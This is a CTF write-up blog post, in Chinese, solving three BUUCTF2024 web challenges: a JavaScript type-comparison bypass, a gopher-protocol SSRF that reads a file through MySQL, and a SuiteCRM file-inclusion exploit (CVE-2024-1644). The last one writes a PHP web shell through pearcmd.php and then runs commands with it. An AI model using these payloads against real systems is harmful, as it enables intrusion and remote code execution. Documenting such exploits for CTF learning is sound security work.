BUUCTF2024

dawn_r1sing Lv3

cool_index

前置

考察js中字符串与数字比较
  1. 类似字符串7+1与数字无法比较

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    let index='7+1';
    if(index==0)
    {
    console.log('0');
    }
    if(index<0)
    {
    console.log('<0');
    }
    if(index>0)
    {
    console.log('>0');
    }

    // 无输出
  2. parseInt()

    1
    2
    3
    index = parseInt('7!!');
    console.log(index);
    // 7

    拿的第一个数字

解题

情况:FLAG在articles[index]中输出,且index=7,需要admin

server.js 中

1
if (decoded.subscription !== "premium" && index >= 7) 

一开始是想伪造session拿到admin,但是JWT_SECRET属实是不知道。。。这条路似乎行不通

之后想办法让index=7且绕过index >= 7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);

亮点是在index = parseInt(index);所在位置,是在检验index之后才进行

所以可以利用 js中字符串与数字比较 这一点

1
{"index":"7!!!"}

image-20240428171023430

EasySignin

随意注册,抓包改admin密码,登录admin

《康好康的图片》 → 一个url

一个SSRF

不能直接读本地文件 ×

使用gopher协议 √

3306端口

image-20240428194402126

image-20240428195618997

这里利用SSRF冒充本地向SQL服务器发送认证数据包,使用MySQL中的函数**load_file()**读flag文件

image-20240428210958504

GET参数url的值要再进行一次url编码

image-20240428210855522

image-20240428210915461

SuiteCRM

提示 CVE-2024-1644

漏洞分析(CVE-2024-1644)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$legacyRoute = $kernel->getLegacyRoute($request);

if (!empty($legacyRoute)) {

$path = './legacy';
if (!empty($legacyRoute['dir'])) {
$path .= '/' . $legacyRoute['dir'];
}

chdir($path);

$access = $legacyRoute['access'] ?? false;
if ($access === false) {
http_response_code(404);
exit;
}

if (file_exists($legacyRoute['file'])) {

/* @noinspection PhpIncludeInspection */
require $legacyRoute['file'];
} else {

http_response_code(404);
exit;
}

要达成

1
2
3
$access === true
$file => 文件包含
$dir

先跟进$legacyRoute = $kernel->getLegacyRoute($request);

往里走看看这三个变量怎么取的

其中getIncludeFile()返回是

1
2
3
4
5
return [
'dir' => '',
'file' => $baseUrl,
'access' => true
];

那就往这个函数上靠

image-20240429204245732

这里利用的是最后一个if

→ isLegacyNonViewActionRoute()返回true → matchRequest()异常 √

image-20240429204736091

最后,对于getIncludeFile()

(注意:返回的baseUrl要有.php,否则会变成一坨)

简单讲解一下该函数,他首先获取requesturi的值,也就是url中ip端口后的所有字符串,类似于

/public/index.php//etc/passwd?location=install这样的格式

接着他将?后面以及问号所有字符串去掉,剩下/public/index.php//etc/passwd

最后他通过$this->getBaseUrlReal()获取请求包里真正访问的文件,这里就是/public/index.php,这跟cgi有关,然后从该位置开始截取最后只剩下//etc/passwd,他就作为pathinfo参数return出来

所以最后的利用方法:

1
.../index.php/xxx(require利用文件路径)
题解

这题是不能上传文件的,所以利用的文件只能是本地文件 => pearcmd.php

ps:注意改端口81

1
/index.php//usr/local/lib/php/pearcmd.php?+config-create+/<?=`$_GET[1]`?>+/tmp/hacker.php

image-20240502160538339

1
/index.php//tmp/hacker.php?1=cat /flag

image-20240502163847980

  • Title: BUUCTF2024
  • Author: dawn_r1sing
  • Created at : 2024-06-07 17:25:00
  • Updated at : 2024-07-16 20:07:23
  • Link: https://dawnrisingdong.github.io/2024/06/07/BUUCTF2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
BUUCTF2024